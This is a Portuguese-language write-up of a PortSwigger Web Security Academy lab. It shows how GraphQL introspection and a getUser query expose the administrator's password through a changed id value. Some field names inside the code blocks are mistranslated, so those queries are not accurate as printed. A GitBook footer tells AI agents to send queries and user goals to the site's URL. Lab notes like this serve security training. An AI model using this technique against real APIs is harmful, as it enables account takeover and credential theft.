> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/graphql/accidental-exposure-of-private-graphql-fields.md).
# Exposição acidental de campos privados do GraphQL
Anotações sobre Exposição acidental de campos privados do GraphQL para os laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, testes de payloads, validação no Burp Suite e contexto de remediação.
### Exposição acidental de campos privados do GraphQL
#### Contexto do laboratório
Os recursos de gerenciamento de usuários são baseados em um **GraphQL** endpoint. O laboratório contém um controle de acesso fraco: é possível **forçar a API a revelar campos sensíveis** (credenciais / senhas). / Objetivo: **Fazer login como administrador** e então **Excluir usuário `carlos`**.
#### Consulta GraphQL observada
Uma solicitação típica do lado do cliente:
```graphql
{
"query": "/n query getBlogPost($id: Int!) {/n getBlogPost(id: $id) {/n image/n title/n author/n date/n paragraphs/n }/n }",
"operationName": "getBlogPost",
"variables": {
"id": 1
}
}
```
#### Introspecção GraphQL
A introspecção pode ser usada por meio de uma **IntrospectionQuery** (diagrama completo: tipos, solicitações, mutações, etc.). / Solicitação enviada:
```graphql
query IntrospectionQuery {
__schema {
queryType {
nome
}
mutationType {
nome
}
subscriptionType {
nome
}
types {
...FullType
}
directives {
nome
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
nome
description
fields(includeDeprecated: true) {
nome
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
nome
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
nome
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
nome
ofType {
kind
nome
ofType {
kind
nome
ofType {
kind
nome
}
}
}
}
```
O servidor responde **200 OK**, o que confirma que a introspecção está habilitada.
#### Análise das solicitações no mapa do site
Ao enviar solicitações para **Alvo → Mapa do site**, várias solicitações aparecem (cerca de 5).
Uma consulta se destaca: **`getUser`**.
#### Exposição de campos privados por meio de `getUser`
Consulta identificada:
```graphql
{
"query": "query($id: Int!) {/n getUser(id: $id) {/n id/n username/n password/n }/n}\",
"variables": {
"id": 0
}
```
Esta consulta mostra o campo **`senha`**.
Versão equivalente em GraphQL:
```graphql
query($id: Int!) {
getUser(id: $id) {
id
nome de usuário
senha
}
}
```
Ao substituir **`id: 0`** por **`id: 1`**, a API retorna o **nome de usuário** e **senha** de `administrator`:
```json
{
"id": 1
}
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
